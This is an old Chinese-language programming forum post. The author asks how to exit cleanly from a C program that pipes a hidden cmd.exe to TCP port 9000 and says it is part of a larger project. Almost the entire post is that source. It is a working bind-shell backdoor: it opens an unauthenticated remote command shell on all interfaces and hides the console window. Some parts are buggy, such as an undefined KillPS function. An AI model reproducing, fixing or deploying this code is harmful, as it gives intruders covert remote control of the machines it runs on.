高分求救,这样的程序如何返回啊~~~~~??????
NOIR 2003-02-09 12:21:52 以下是我写的用管道绑定CMD到指定端口的程序,由于这是整合在我的一个项目里的一个功能所以我写的时侯给了他一个条件,当收到的字符为exitcmd时就退出这个管道,问题就出在
退出上了,我用了各种各样的方法就是没法让他 return返回,我的要求是返回不了也没事直接关了绑定cmd的子进程也可以,所以我试着调用了TerminateProcess和TerminateThread
都没用,当然exit(0)是可以退出的,不过会连我的程序一起退出(前面已说过这是整合在我的一个项目里的一个功能),现向大家求救,帮忙看看该怎么返回~~~~!!!!
#define BindPORT 9000
#include <stdio.h>
#include <winsock2.h>
//#pragma comment(lib, "ws2_32.lib")
//#pragma comment(dll,"kernel32.dll")
SOCKET ServerSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;
u_char varA,varB;int login=1;
PROCESS_INFORMATION processinfo;
DWORD dwThreadIdA,dwThreadIdB;
HANDLE A ,B;
//---------------------------------------------------------------------------
// BindCmd--ThreadFunc
// 绑定CMD时用到的线程函数
//---------------------------------------------------------------------------
DWORD WINAPI ThreadFuncA( LPVOID lpParam )//第一个管道
{
SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];
ZeroMemory(recv_buff,1024);
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadPipe,//管道的读句柄
&hWriteFile,//管道的写句柄
&pipeattr,
0);//p658,管道的读写句柄通常被WriteFile和ReadFile使用
varA = 1;
while(login==1)
{
Sleep(250);
nByteToWrite = recv(ClientSocket,
recv_buff,
1024,
0);
if((lstrcmp(recv_buff,"exitcmd\n"))==0)
{
login=0;
closesocket(ClientSocket);
closesocket(ServerSocket);
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
CloseHandle(hWriteFile);
CloseHandle(hReadFile);
TerminateThread(A,1);
ExitThread(1);
return(0);
//exit(0);
}
WriteFile(hWriteFile,//用管道的写句柄写入数据
recv_buff,
nByteToWrite,
&nByteWritten,
NULL);
ZeroMemory(recv_buff,1024);
}
return 0;
}
DWORD WINAPI ThreadFuncB( LPVOID lpParam ) //第二个管道
{
SECURITY_ATTRIBUTES pipeattr;
DWORD len;
char send_buff[25000];
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
if(login==0)
{ login=0;
closesocket(ClientSocket);
closesocket(ServerSocket);
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
CloseHandle(hWriteFile);
CloseHandle(hReadFile);
TerminateThread(B,1);
KillPS(processinfo.dwProcessId);
ExitThread(1);
return(0);
}
CreatePipe(&hReadFile,//管道的读句柄
&hWritePipe,//管道的写句柄
&pipeattr,
0);
varB = 1;
while (login==1)
{
ReadFile(hReadFile,//用管道的读句柄读入数据
send_buff,
25000,
&len,
NULL);
send(ClientSocket,
send_buff,
len,
0);
}
return 0;
}
//---------------------------------------------------------------------------
// BindCmd
// 绑定CMD
//---------------------------------------------------------------------------
void main()
{
WSADATA WSAData;
struct sockaddr_in RemoteAddr;
int nRetCode;
OSVERSIONINFO osvi;
STARTUPINFO startinfo;
WSAStartup(MAKEWORD(2,2),&WSAData);
ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
RemoteAddr.sin_family = AF_INET;
RemoteAddr.sin_port = htons(BindPORT);
RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;
if(login==0)
{ closesocket(ClientSocket);
closesocket(ServerSocket);
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
CloseHandle(hWriteFile);
CloseHandle(hReadFile);
KillPS(processinfo.dwProcessId);
return;
}
bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
listen(ServerSocket, 5);
varA = 0;
varB = 0;
if(login==0)
{ closesocket(ClientSocket);
closesocket(ServerSocket);
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
CloseHandle(hWriteFile);
CloseHandle(hReadFile);
KillPS(processinfo.dwProcessId);
return;
}
A=CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
B=CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);
if(login==0)
{ closesocket(ClientSocket);
closesocket(ServerSocket);
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
CloseHandle(hWriteFile);
CloseHandle(hReadFile);
KillPS(processinfo.dwProcessId);
return;
}
do{
Sleep(250);
}while((varA || varB) == 0);
GetStartupInfo(&startinfo);
startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
//指出要设定窗口的显示方式|设定标准输入,输出,错勿句柄
startinfo.hStdInput = hReadPipe;//标准输入句柄
startinfo.hStdError = hWritePipe;//标准输出句柄
startinfo.hStdOutput = hWritePipe;//标准错勿句柄
startinfo.wShowWindow = SW_HIDE;//窗口的显示方式
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osvi);
char szAPP[256];
GetSystemDirectory(szAPP,MAX_PATH+1);
if(osvi.dwPlatformId == 2)
{
strcat(szAPP,"\\cmd.exe");
if (CreateProcess(szAPP,//此处指定了要执行的模块
NULL, NULL, NULL, TRUE, 0, NULL, NULL,
&startinfo, &processinfo) == 0)//p667创建新进程,新进程执行指定的可执行文件
{
//printf ("CreateProcess Error!\n");
return ;
}
}
else
{
strcat(szAPP,"\\command.exe");
CreateProcess(NULL,//此处为NULL,则模块名是szAPP中的
szAPP,
0,
0,
true,
0,
0,
0,
&startinfo,
&processinfo);
}
while (login==1)
{
ClientSocket = accept(ServerSocket, NULL, NULL);
Sleep(250);
}
if(login==0)
{ CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
CloseHandle(hWriteFile);
CloseHandle(hReadFile);
return;
}
}